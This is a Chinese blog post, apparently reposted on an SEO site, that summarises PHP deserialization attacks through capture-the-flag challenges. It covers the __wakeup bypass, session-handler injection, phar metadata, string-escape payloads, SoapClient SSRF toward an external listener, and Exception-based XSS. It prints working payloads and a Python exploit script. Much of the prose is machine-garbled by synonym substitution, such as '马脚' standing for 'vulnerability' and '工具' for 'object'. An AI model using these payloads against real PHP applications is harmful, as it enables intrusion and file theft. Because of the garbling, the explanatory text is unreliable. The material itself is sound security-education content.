首页 » SEO优化 » php去失落warn技巧_反序列化马脚运用总结

php去失落warn技巧_反序列化马脚运用总结

访客 2024-12-04 0

扫一扫用手机浏览

文章目录 [+]

<!-- more -->

大略先容

(反)序列化只是给我们通报工具供应了一种大略的方法。

php去失落warn技巧_反序列化马脚运用总结

serialize()将一个工具转换成一个字符串unserialize()将字符串还原为一个工具

在实质上,反序列化的数据是没有危害的,但是当反序列化数据是用户可控时,这时就会产生一些预期外的结果,也就可能存在危害

php去失落warn技巧_反序列化马脚运用总结
(图片来自网络侵删)

因此,反序列化的危害,关键在于可控或不可控,而我们找反序列化漏洞时,数据的可控与不可控也是一处着力点

在本文,不会着重谈论反序列化漏洞的形成事理,这已经被其他师傅讲得很透彻了,我在这里只是轻微总结一下思路,仅此而已

漏洞成因即利用思路

才疏学浅,若有缺点,多加包涵

Magic function

Magic function,即我们常说的魔术方法,我们的反序列化漏洞也常常与这些相挂钩

__construct():布局函数,当工具创建(new)时会自动调用。
但在unserialize()时是不会自动调用的。
__destruct():析构函数,类似于C++。
会在到某个工具的所有引用都被删除或者当工具被显式销毁时实行,当工具被销毁时会自动调用。
__wakeup():如前所提,unserialize()时会检讨是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。
__toString():用于处理一个类被当成字符串时应若何回应,因此当一个工具被当作一个字符串时就会调用。
__sleep():用于提交未提交的数据,或类似的清理操作,因此当一个工具被序列化的时候被调用。
利用办法__wakeup()

对应的CVE编号:CVE-2016-7124

存在的php版本: PHP5.6.25之前版本和7.0.10之前的7.x版本漏洞成因:当工具的属性(变量)数大于实际的个数时,__wakeup可以被被绕过demo

<?phphighlight_file(__FILE__);error_reporting(0);class convent{ var $warn = "No hacker."; function __destruct(){ eval($this->warn); } function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } }}$cmd = $_POST[cmd];unserialize($cmd);?>

这边的 __wakeup是事宜型的,如果没碰着unserialize就永久不会触发了,以是我们得先搞清楚先实行哪个方法,再实行哪个方法。

在这里,经由测试,我们可以得出__wakeup优先级高于 __destruct()

由于碰着了unserialize得先实行 __wakeup里面的内容,才能跑到我们想要的 __destruct()里面,以是得绕过这个 __wakeup

怎么绕过?

只要工具的属性(变量)数大于实际的个数时,__wakeup就可以被被绕过

<?phpclass convent{ var $warn = "phpinfo();"; function __destruct(){ } }$a = new convent();$b = serialize($a);print_r($b);//O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";}?>

然后更改变量数即可

O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";} >> O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}

存在多个邪术方法时,要弄清哪个邪术方法的优先级高

PHP session反序列化

这在我之前一篇文章实在已经先容得差不多了

漏洞成因:其紧张事理便是利用序列化的引擎和反序列化的引擎不一致时,引擎之间的差异产生序列化注入漏洞demo

在之前的高校战疫中稽核过, 利用的便是php session的序列化机制差异导致的注入漏洞

干系题目: http://web.jarvisoj.com:32784/

<?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{ public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); }}if(isset($_GET['phpinfo'])){ $m = new OowoO();}else{ highlight_string(file_get_contents('index.php'));}?>

仔细看了一遍创造题目没有入口,把稳到有ini_set('session.serialize_handler', 'php')存在,预测是否为session反序列化漏洞

看一下phpinfo

local value(当前目录,会覆盖master value内容):phpmaster value(主目录,php.ini里面的内容):php_serialize

这就很明显存在session反序列化漏洞了

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST要求时,它会在$_SESSION中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。

以是可以通过Session Upload Progress来设置session

许可上传且结束后不用除数据,这样更有利于利用

我们在html网页源码上加入以下代码

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /></form>

接下来便是考虑怎么利用了,我们可以利用反序列化数据可控来达成我们的目的

<?phpini_set('session.serialize_handler', 'php_serialize');session_start();class OowoO{ public $mdzz='print_r(scandir(dirname(__FILE__)));';}$obj = new OowoO();echo serialize($obj);//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}?>

为了防止被转义,我们在双引号前加上反斜杠\

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

抓包上传,将filename改成我们的payload(要INI中设置的session.upload_progress.name同名变量)

这样我们就可以看到当前目录的文件了,再去phpinfo中查看当前目录

变动payload,利用print_r来读取目标文件

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

phar 反序列化

phar在网上已经有很多阐明了,这里就不过多赘述,大略来说phar便是php压缩文档,不经由解压就能被 php 访问并实行

条件条件

php.ini中设置为phar.readonly=Offphp version>=5.3.0

漏洞成因:phar存储的meta-data信息以序列化办法存储,当文件操作函数(file_exists()、is_dir()等)通过phar://伪协议解析phar文件时就会将数据反序列化,并且可以不依赖unserialize()直接进行反序列化操作。
demo

根据文件构造我们来自己构建一个phar文件,php内置了一个Phar类来处理干系操作

<?php class User{ var $name; function __destruct(){ echo "Blackwatch"; } } @unlink("test.phar"); $phar = new Phar("test.phar");//后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub $o = new User(); $o->name = "test"; $phar->setMetadata($o);//将自定义的meta-data存入manifest $phar->addFromString("test.txt", "Blackwatch");//添加要压缩的文件 //署名自动打算 $phar->stopBuffering();?>

可以很明显看到我们的manifest(也便是meta-data)因此序列号形式存储的

在上面的demo中我们可以看到,当文件系统函数的参数可控时,我们可以在不调用unserialize()的情形下进行反序列化操作,其他函数也是可以的

phar反序列化可以利用的函数

phar文件假造

由于php对phar文件的识别是通过文件头stub来识别的,更准确的说是__HALT_COMPILER();?>这段代码,对付前面的内容和后缀名是没有哀求的,我们可以利用这个特性将phar伪装成其他文件进行上传

phar 文件能够上传文件操作函数参数可控, : ,/ phar 等分外字符没有被过滤有可用的魔术方法作为”跳板”

$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");例题:SWPUCTF2018 SimplePHPbypass phar:// 不能涌如今首部

这时我们我们可以利用compress.zlib:// 或compress.bzip2://函数,compress.zlib://和compress.bzip2://同样适用于phar://

payload

compress.zlib://phar://phar.phar/test.txt例题:顶峰极客 2020 babyphp2字符逃逸PHP 在反序列化时,底层代码因此 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 .当长度不对应的时候会涌现报错可以反序列化类中不存在的元素漏洞成因:利用序列化后的数据经由过滤后涌现字符变多或变少,导致字符串逃逸字符串变多[0CTF 2016]piapiapia

扫描目录创造有WWW.ZIP透露,下载后用Seay源码审计一下

而我们对源码全局搜索时创造,只有config.php存在flag字段的内容,因此可以剖析我们的初步思路

由于在profile.php 中: 存在文件操作函数file_get_contents()以及可控的参数 photo ,如果photo 为config.php 就能读取到flagprofile.php

update.php

class.php

我们可以看到这里的正则过滤掉了where(5)更换成了hacker(6)

在update.php 中对数组profile 进行序列化储存后,在profile.php 进行反序列化

我们注册后来抓个包,创造数组中元素的通报nickname也是位于photo之前的,以是我们可以想办法让nickname足够长,把upload那部分字段给”挤出去”

这便是反序列化长度变革尾部字符串逃逸

我们的目标是使photo字段的内容为config.php以是我们要的序列化数据闭合应为:";}s:5:"photo";s:10:"config.php";},34个字符

我们的目的是将";}s:5:"photo";s:10:"config.php";}插入序列化的字符串里面去,这个的长度为34,以是我们要挤出来34位,不然就成了nickname的值了

where(5)会更换成hacker(6),长度加1,以是我们要布局34个where

";} 是为了闭合nickname部分,而后面这部分s:5:"photo";s:10:"config.php";} ,就单独成为了 photo 的部分( 尾部字符串逃逸 ),到达效果

利用数组绕过nickname长度限定

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

发包后在/profile.php 页面复制头像的地址,进行base64decode得到flag

字符串变少

也有师傅称之为工具逃逸

俺没工具以是不用这个名称

事理与上者差不多,是经由序列化-->敏感字更换为空(长度变短)-->反序列化的过程之后再输出结果

直接看题

[安洵杯 2019]easy_serialize_php

源码如下

<?php$function = @$_GET['f'];function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SESSION){ unset($_SESSION);}$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;extract($_POST);if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>';}if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png');}else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){ highlight_file('index.php');}else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!}else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img']));}

根据提示我们可以在phpinfo中看到flag 在 d0g3_f1ag.php 这个文件中,直接读取是弗成的

$_SESSION 数组中有 user, funciton, img 这三个属性

img的值我们是掌握不了的,进而无法读取到目标文件

我们把把稳力转移到函数serialize上,这里有一个很明显的漏洞点,数据经由序列化了之后又经由了一层过滤函数,而这层过滤函数会滋扰序列化后的数据

而且extract($_POST)存在变量覆盖漏洞

以是我们可以在这上面做文章

这儿须要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

当我们令_SESSION[user]为flagflagflagflagflagflag时,正常情形下序列化后的数据是这样的:正常情形下,序列化后的数据应为

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

但是由于过滤的缘故原由,会变成这样

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

可以看到,user的内容已经变为空,但是长度还是24,那么反序列化时就会自动今后读取24位,会读取到";s:8:"function";s:59:"a

";s:8:"function";s:59:"a其长度为24,作为一个整体成了user的值

由于php反序列化时,当一整段内容反序列化结束后,后面的造孽字符将会被忽略,而我们可以看到这因此{作为序列化内容的出发点,}作为序列化内容的终点

后面";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}这部分被舍弃

因此我们可以掌握$userinfo["img"]的值,达到任意文件读取的效果

以是payload为

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

读取完d0g3_f1ag.php后,得到下一个hint,获取到flag文件名

Pop chain

严格来说,这更多像一种方法,就像玩乐高一样把一个个魔术方法串联起来,POP CHAIN 更多的是在类之间,方法之间的调用上,由于方法的参数可控存在危险函数,导致了漏洞,,实也是在代码逻辑上涌现的问题

在编写Pop 链的exp的时候,,类的框架险些不变,只须要做一些修正

pop chain的布局这里就不展开谈论了,毕竟这点位置来讲还不如去看一下github上师傅们挖出来的链实在,后面有机会可以写一下反序列化链布局的思路

SoapClient

SoapClient 类搭配CRLF注入可以实现SSRF, 在本地天生payload的时候,须要修正php.ini 中的 ;extension soap 将注释删掉即可

漏洞成因:由于SoapClient 类会调用 __call 方法,当实行一个不存在的方法时,被调用,从而实现ssrf

exp

<?php$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a(); // 随便调用工具中不存在的方法, 触发__call方法进行ssrf?>LCTF 2018 bestphp's revenge

exp

import requestsimport reurl = "http://7c3ee1c8-bf16-4e25-bd02-db385135a819.node4.buuoj.cn/"payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'r = requests.session()data = {'serialize_handler': 'php_serialize'}res = r.post(url=url+'?f=session_start&name='+payload, data=data)# print(res.text)res = r.get(url)# print(res.text)data = {'b':'call_user_func'}res = r.post(url=url+'?f=extract', data=data)res = r.post(url=url+'?f=extract', data=data) # 相称于刷新页面sessionid = re.findall(r'string\(26\) "(.?)"', res.text)cookie = {"Cookie": "PHPSESSID=" + sessionid[0]}res = r.get(url, headers=cookie)print(res.text)Exception

与SoapClient一样,是属于PHP原生类

漏洞成因:php 的原生类中的Error 和Exception 中内置了toString 方法, 可能造成xss漏洞

<?php$s = new Exception("<script>alert(1)</script>");echo urlencode(serialize($s));?>

总结

除了上面这些,还可以和sql注入,命令实行等结合,这里就不再逐一赘述,php反序列化漏洞的利用,实在是与xss,sql注入等十分相似的,都是一种闭合-布局,以改变原来代码构造进而达到漏洞利用的目的的思路

标签:

相关文章

介绍百度网盘,云端存储时代的创新先锋

随着互联网技术的飞速发展,云计算已经成为现代生活不可或缺的一部分。而在这其中,百度网盘作为国内领先的云存储服务提供商,以其卓越的性...

SEO优化 2025-01-03 阅读1 评论0

介绍监控屏蔽技术,守护个人隐私的利器

随着科技的发展,监控设备已经深入到我们生活的方方面面。在享受便利的隐私安全问题也日益凸显。如何有效屏蔽监控,保护个人隐私,成为人们...

SEO优化 2025-01-03 阅读1 评论0

介绍番号观看方法,轻松驾驭影视世界

随着互联网的普及,网络影视资源日益丰富,番号作为影视作品的标识码,已经成为广大观众了解、搜索和观看影视作品的重要途径。如何正确地使...

SEO优化 2025-01-03 阅读1 评论0

介绍盗微信号黑幕,网络安全的严峻挑战

在数字化时代,微信已成为人们生活中不可或缺的通讯工具。随着微信用户数量的激增,盗微信号的事件也日益增多。本文将深入剖析盗微信号的方...

SEO优化 2025-01-03 阅读1 评论0